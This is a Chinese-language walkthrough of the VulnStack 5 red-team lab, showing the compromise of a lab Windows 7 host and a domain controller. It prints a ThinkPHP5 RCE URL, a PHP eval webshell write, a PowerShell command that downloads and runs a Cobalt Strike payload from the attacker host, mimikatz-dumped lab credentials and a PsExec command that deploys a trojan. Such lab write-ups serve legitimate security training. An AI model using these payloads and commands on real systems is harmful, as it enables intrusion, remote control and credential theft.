VuInStack-5
此攻击环境是红日安全的ATT&CK靶场五,此次虚拟机共用两个,一个外网,一个内网,用来练习红队相关的知识。
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
VulnStack5-Walkthrough
运用到的知识点
ThinkPHP5-rce-getshell
Cobalt Strike 提权 MS14058
PsExec 工具使用
环境
攻击机Kali:192.168.203.129
攻击机Win10:192.168.2.4
靶机Win7:192.168.203.130(网络边界)、192.168.138.135(内网IP)
靶机Win2008:192.168.138.138(DC)
信息搜集
知道攻击目标后先进行信息收集,渗透的本质就是信息收集!
既然目标是IP那么直接使用Nmap扫描端口开放情况:
代码语言:javascript复制nmap -A -T4 192.168.203.130
可见目标开放了几个常用的端口:80(http)、135(rpc)、139(NetBIOS - Samba)、445(Samba),因此判断目标主机应该是Windows。
先打开Web页面看看:http://192.168.203.130/
发现是ThinkPHP5搭建的网站(TP有RCE漏洞),我们可以先扫扫目录看看有没有突破点:
没有发现可利用的文件,字典问题!
ThinkPHP5-RCE-GetSHELL
既然上面信息收集发现是TP5,那么我们可以尝试看看目标是否存在RCE:
代码语言:javascript复制# 执行命令
http://192.168.203.130/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
发现可以执行命令!那么先写入一个一句话进去:
代码语言:javascript复制# 写入一句话
http://192.168.203.130/index.php?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php @eval($_GET["code"]);?^>>shell.php
蚁剑连接Webshell:
打入内网
拿到Shell后先对内网进行一个简单的搜集,先看看IP网卡信息:
代码语言:javascript复制ipconfig /all
发现有两个网卡:
代码语言:javascript复制C:phpStudyPHPTutorialWWWpublic> ipconfig /all
Windows IP 配置
主机名 . . . . . . . . . . . . . : win7
主 DNS 后缀 . . . . . . . . . . . : sun.com
节点类型 . . . . . . . . . . . . : 混合
IP 路由已启用 . . . . . . . . . . : 否
WINS 代理已启用 . . . . . . . . . : 否
DNS 后缀搜索列表 . . . . . . . . : sun.com
localdomain
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . :
描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
物理地址. . . . . . . . . . . . . : 00-0C-29-BE-2F-CB
DHCP 已启用 . . . . . . . . . . . : 否
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::50b:a7b3:5ed5:f577(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.138.136(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 352324649
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-25-F1-93-23-00-0C-29-CE-6E-F7
DNS 服务器 . . . . . . . . . . . : 192.168.138.138
TCPIP 上的 NetBIOS . . . . . . . : 已启用
以太网适配器 wk1 waiwang:
连接特定的 DNS 后缀 . . . . . . . : localdomain
描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
物理地址. . . . . . . . . . . . . : 00-0C-29-BE-2F-C1
DHCP 已启用 . . . . . . . . . . . : 是
自动配置已启用. . . . . . . . . . : 是
本地链接 IPv6 地址. . . . . . . . : fe80::3c32:c19:2135:b9fb(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.203.130(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
获得租约的时间 . . . . . . . . . : 2020年10月24日 21:38:37
租约过期的时间 . . . . . . . . . : 2020年10月24日 22:34:57
默认网关. . . . . . . . . . . . . : 192.168.203.2
DHCP 服务器 . . . . . . . . . . . : 192.168.203.254
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-25-F1-93-23-00-0C-29-CE-6E-F7
DNS 服务器 . . . . . . . . . . . : 192.168.203.2
主 WINS 服务器 . . . . . . . . . : 192.168.203.2
TCPIP 上的 NetBIOS . . . . . . . : 已启用
一个外网IP(192.168.203.130),一个内网IP(192.168.138.136)。
其次发现主DNS后缀是 sun.com 因此判断是在域内环境。
Ping sun.com 锁定域控 IP 为:192.168.138.138
代码语言:javascript复制C:phpStudyPHPTutorialWWWpublic> ping sun.com
正在 Ping sun.com [192.168.138.138] 具有 32 字节的数据:
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
192.168.138.138 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
往返行程的估计时间(以毫秒为单位):
最短 = 0ms,最长 = 0ms,平均 = 0ms
紧接着 systeminfo 发现目标主机是 Win7 :
补丁也只打了仅仅三个:(对于攻击者来说这是一条好消息)
代码语言:javascript复制修补程序: 安装了 3 个修补程序。
[01]: KB2534111
[02]: KB2999226
[03]: KB976902
横向渗透
既然是在域里,那么我还是先用 Cobalt Strike 上线 Win7吧。
关于 Cobalt Strike 的使用,我以后会把我学习CS的笔记发到微信公众号,别急。
在这里我用的是 Powershell 上线方式:
一:创建一个监听器
之后在目标主机上运行命令成功上线CS:
代码语言:javascript复制powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.203.129:80/a'))"
先常规扫描一下内网存活主机,在这里我使用的是K8哥哥的神器(Ladon),是真的牛皮这个工具!
代码语言:javascript复制Ladon 192.168.138.0/24 OnlinePC
发现内网存在一台主机为域控DC (192.168.138.138)
由于当前网络边界主机的补丁很少,可以尝试MS14058提权:
提权成功,当前权限为 System 系统权限!
之后加载 mimikatz 抓取一下密码试试:
代码语言:javascript复制SUNAdministrator dc321.com
SUN.COMleo 123.com
成功抓到域用户leo和域管理员administrator和的密码和Hash!
之后可以通过PsExec进行传递执行命令,但是由于目标主机是内网有可能不出外网,那么我们需要进行中转上线!
PSEXEC执行原理:
前提:目标开启 admin$,445端口共享
通过ipc$连接,然后释放psexesvc.exe到目标机器。
通过服务管理SCManager远程创建psexecsvc服务,并启动服务。
客户端连接执行命令,服务端启动相应的程序并执行回显数据。
缺点:目标系统会用一个psexec的服务,在Windows日志里可以被溯源到IP
先创建一个监听器:
Session 我选择的是 System 权限的这个作为中转!
然后生成一个木马用于中转上线:
Stage 选择刚刚创建的监听器,然后选择 Windows EXE,创建保存:
把生成的 4444.exe 上传到目标服务器上,然后再把PsExec也一同上传到目标服务器上:
之后使用命令运行PsExec执行命令,用刚刚mimikatz抓取到的明文密码配合生成的木马成功上线域控:
代码语言:javascript复制shell C:phpStudyPHPTutorialWWWpublicPsExec64.exe -accepteula \192.168.138.138 -u sunAdministrator -p dc321.com -d -c C:phpStudyPHPTutorialWWWpublic4444.exe
最后抓取域内所有用户密码Hash完成本次渗透:
总结
本次靶场练习有域环境,相对于新手学习内网是一个很好的靶机,相对简单。
参考文章:
http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
https://www.anquanke.com/post/id/84938